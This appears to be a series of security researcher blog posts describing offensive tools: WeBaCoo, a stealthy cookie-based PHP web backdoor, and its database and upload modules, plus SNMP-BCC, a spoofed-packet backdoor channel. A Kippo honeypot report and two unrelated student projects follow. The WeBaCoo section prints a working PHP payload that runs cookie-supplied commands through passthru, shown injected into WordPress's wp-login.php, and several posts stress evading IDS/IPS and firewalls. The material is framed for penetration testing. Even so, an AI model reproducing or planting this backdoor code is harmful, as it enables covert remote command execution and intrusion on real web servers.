The extension modules were designed keeping in mind both simplicity and stealth behavior. An extension module that offers large scale functionalities but is capable to expose WeBaCoo by triggering IDS/IPS or application firewalls is not an option. Highly customization levels is an additional goal on the top of the module design hierarchy. The basic module parameters can be given by the user during the module load process within the interaction terminal. Although, experienced users that need to customize some extra parameters can dig into the module’s source code and edit the desired variables as needed. Besides, pentesters preserve a good rumor for their custom tweaking behavior when messing around with open source tools.

For detailed documentation about available extension modules, you can refer to the modules project wiki page.

During the rest of the post three extension modules will be analyzed: mysql-cli, psql-cli and upload.

MySQL-CLI

MySQL-CLI was the first module that was developed. It uses the mysql command line utility on the target server to execute mysql commands at the database service (local or remote). When the user loads the mysql-cli module the login credentials are stored in internal variables. During the mysql-cli interaction console, every user given command is packed as an oneliner and executed at the target server returning the relevant output from the database.

PSQL-CLI

PSQL-CLI is a module to interact with postgres databases. It uses the target system’s psql command line tool to communicate with postgres databases. The challenge while designing this module was to overcome the authentication interaction process that psql tool uses to login. Unlike mysql tool, psql doesn’t offer a password parameter to avoid the password authentication processes. To overcome this, a .pgpass file is created to the user’s home directory with the login credentials.

Upload

Messing around with the offered choices and after many tests, the final decision for the upload module was to use the HTTP POST method to upload files to the target host. A tiny php upload code is temporally placed at the target to serve the upload and then it is deleted. Every local file is uploaded as txt/plaintext to avoid any server side limitations or triggering any protection mechanism. Random strings names are generated to enhance the stealth behavior. When using the upload module it is strongly advised to encrypt or obfuscate the files before upload, to prevent any rule based detection for dangerous system/function names.

If you have any further ideas for additional modules contact me.

A. Bechtsoudis

SNMP (Simple Network Management Protocol) is a UDP based protocol used mainly for monitor purposes. Its connectionless UDP nature makes SNMP exposed to IP source spoofing attacks. Although, this does not seem to concern network and system administrators as my pen-test cases reveal. The reason that usually (although wrongly) admins do not bother to secure their agents is the read-only behavior. While SNMP offers both read (get info) and write (set configuration variables) under most infrastructures only the read behavior is implemented serving monitor purposes. This creates a belief to admins that there are not any undergoing security risks shifting the problem to anti-spoofing mechanisms.

While messing around with SNMP functionalities the idea for developing SNMP-BCC was born as a PoC to the above wrong approach of the SNMP setups. SNMP-BCC is capable to create a stealth backdoor communication channel with an “owned” host using an SNMP agent as a relay. Initially the desired to sent data are packed following the ASN.1 OID prototype in an SNMP GetRequest packet. Then the source IP address of the UDP packet is altered to the end client’s IP address. This source spoofed packet is transmitted to the public SNMP agent (community string must be known). Of course the SNMP agent can not locate this invalid OID and replies with an error response for the given OID. This error response containing the unattached initial packed data is finally transferred to the end host. Then the client with the relevant decoder can parse the data.

SNMP-BCC is mainly a post exploitation tool that a pen-tester can use to establish a stealth and hard to detect communication channel with a compromised host. Despite the backdoor communcation purposes someone can use the tool for data leakage and node pivoting purposes. While writing this post, the whole project is in its early stage and I haven’t yet decided if it is worth continuing and if so the working model. Although, I developed and made public SNMP-BCC in order to have feedback from my colleagues and infosec community for the next steps.

SNMP-BCC is written in perl using the raw-sockets library and is available at Github under GPLv3 license. Using ‘snmpbcc.pl’ users can create spoofed SNMP packets with system commands under a user interactive pseudo shell mode. For testing purposes the project also includes the ‘backdoor.pl‘ file that serves as a listener in the end host client. I haven’t implemented a fully ASN.1 decoder at the backdoor code, that’s why the command is wrapped with some special characters (‘#$#’) in order to be easily obtained from the response message.

You can get the latest version of the tool by cloning the repository

git clone git://github.com/anestisb/SNMP-BCC.git

Or by directly downloading the zip project archive

https://github.com/anestisb/SNMP-BCC/zipball/master

Here is a screenshot with SNMP-BCC in action:

Your comments are greatly appreciated for tool’s evolution.

A. Bechtsoudis

The general concept is pretty simple. Initially the backdoor PHP code is generated using payloads containing main PHP system functions that operate under a basic Cookie handling mechanism. After the code injection the client can send shell commands hidden in Cookie headers obfuscated with base64 encoding. On the server side the shell command is executed and the output is transmitted back to client hidden (base64 encoded too) in Cookie headers.

WeBaCoo is written in perl and is available at github. Clone the repository:

git clone git://github.com/anestisb/WeBaCoo.git

Or download the latest version from:

http://bechtsoudis.com/data/tools/webacoo-latest.tar.gz

Let’s see two case studies in order to present WeBaCoo‘s functionalities. I will use a local burp proxy (127.0.0.1:8080) to inspect the HTTP header cookies.

1. Simple case

The first scenario involves the addition of a new PHP file with the obfuscated backdoor code in the webroot path. After the addition the client can use the termninal mode to execute commands to the server.

Initially let’s create the backdoor file using the ‘shell_exec’ system function:

Then I upload the backdoor.php in the victim server and start a “terminal” connection:

And the relative request and response recorded from burp are seen in the following screen-shots:

2. Complex case – backdooring wordpress login

WordPress familiar users know that before the login process, the server creates a Test-cookie to examine if broswer has cookies enabled. After that test cookie set I will inject the backdoor code unobfuscated. I create the PHP payload using the ‘passthru’ function and the -r (raw output) flag to get the un-obfuscated code.

Then the malicious code is injected under the Test-Cookie set. So the wp-login.php is as follow (only the crucial lines are included):

//Set a cookie now to see if they are supported by the browser.
setcookie(TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN);
if ( SITECOOKIEPATH != COOKIEPATH )
        setcookie(TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN);
 
//My payload
if(isset($_COOKIE['cm'])){ob_start();passthru(base64_decode($_COOKIE['cm']).' 2>&1');setcookie($_COOKIE['cn'],$_COOKIE['cp'].base64_encode(ob_get_contents()).$_COOKIE['cp'], 0, SITECOOKIEPATH, COOKIE_DOMAIN);ob_end_clean();}
 
// allow plugins to override the default actions, and to add extra actions if they want
do_action( 'login_init' );
do_action( 'login_form_' . $action );

After the injection I establish a “terminal” connection to the infected server to execute my commands:

And the relative request and response recorded from burp:

As you can see the communication data are pretty stealth and will not trigger regular application firewalls and IDS/IPS setups. Although, I will appreciate your feedeback from various tests under your setups to evaluate and evolve WeBaCoo functionalities.

A. Bechtsoudis

On the of the security forensics approach is: “Allow attacks in a sandbox environment, analyze them and learn from them!“. Following this approach, we have come across with the honeypot mechanisms. Honeypots are mechanisms implemented in the networks that are designed to lure malicious activities in order to analyze them. They have low and easy to bypass security & access, forming a great trap for botnets and inexperienced hackers. The experience level that the attacker should have in order to get trapped in a honeypot host or network, depends on the honeypot’s interaction level and its implemented services. That’s why the honeypots are classified into low and high interaction. With low interaction offering emulated services (limited interaction) and high interaction offering full functionalities.

We have chosen a solution somewhere in the middle of the interaction scale. We were looking for something easy to setup due to our demands and easy to analyze its collection data for analysis. So we choose the Kippo, which is a medium interaction SSH honeypot. Kippo logs ssh bruteforce attacks and offers shell interaction to analyze the executed commands of the attacker. Its features include fake debian 5 based shell, fake filesystem that can be easily altered by the user, saving the wget downloaded files for analysis and UML compatible log files.

On part of our goal has been achieved by analyzing the malicious files that attackers have downloaded from infected web servers. We will continue running Kippo for a short period because we have discovered that moderators of large botnets retain a blacklist where they record IPs of hosts that aren’t real machines (such as honeypots). We come into great surprise when we realize that all the attacks we have recorded so far, were executed by a human and not any botnet script. And the goal of all the attackers was to turn the machine into a scanning zombie that launches bruteforcing attacks over the network. Additionally, most of the attackers tried to run an IRC server in order to mass control their infected hosts. We have recorded their IRC channels and the using code and we will keep an eye on their tactics.

In the near future we plan to establish a higher interaction level honeypot and honeynet, in order to analyze more advanced attacking techniques.

Here are some tty sessions of attacking tries that we have recorded from our honeypot, plus a python script that can be used to show the shell interaction from the attack:

Download Logs + PlayScript

Additionally with my affiliate John Kalantzis from the UNIX Administration Team we have conducted a presentation in PLUG about SSH Security and the use of Kippo honeypot. The slides from the presentation can be downloaded from here:

Presentation (.pdf 84 kb)

The Kippo honeypot project run with the collaboration of John Kalantzis.

A. Bechtsoudis

The project run the 2nd semester of 2009 on behalf of the course “Interfacing Micro-computing Systems” under the teaching of Dr. G. Keramidas.

The project report (written in Greek) have been included the following:

• Brief theory report for the PS2 protocol (physical & electrical characteristics)
• Basic architecture components of FPGA devices
• Short description of the Spartan 3AN features
• The PS2 modules
• Verification module
• UART (Universal Asynchronous Receiver Transmitter) implementation (part of the verification process)

Used software tools:

• Xilinx’s ISE Web Edition 10.1 – Design, Synthesis, Place-and-Route
• Xilinx’s iMpact (ISE Accessory) – Chip Configuration
• ModelSim SE5.7 – Verification, Debugging

Download Project Files:

• Source Files + Use Instructions
• Project Report (written in Greek)

A. Bechtsoudis

The basic thought in order to parallelize the algorithm execution, was to divide the matrix into smaller equal pieces. The cellular automaton is represented with a MxN matrix, where each cell indicates the living status (dead or alive). In order to store the calculated next round state i used a second matrix with the same dimensions. By the end of each round a swap takes place between the two pointers of the matrixes, in order to have the next round current state.

Note: More information can be found in the full report (written in Greek).

Here is a short demo of the console execution:

//www.youtube.com/watch?v=ug7L7AlUkng

Download Project Source Code

A. Bechtsoudis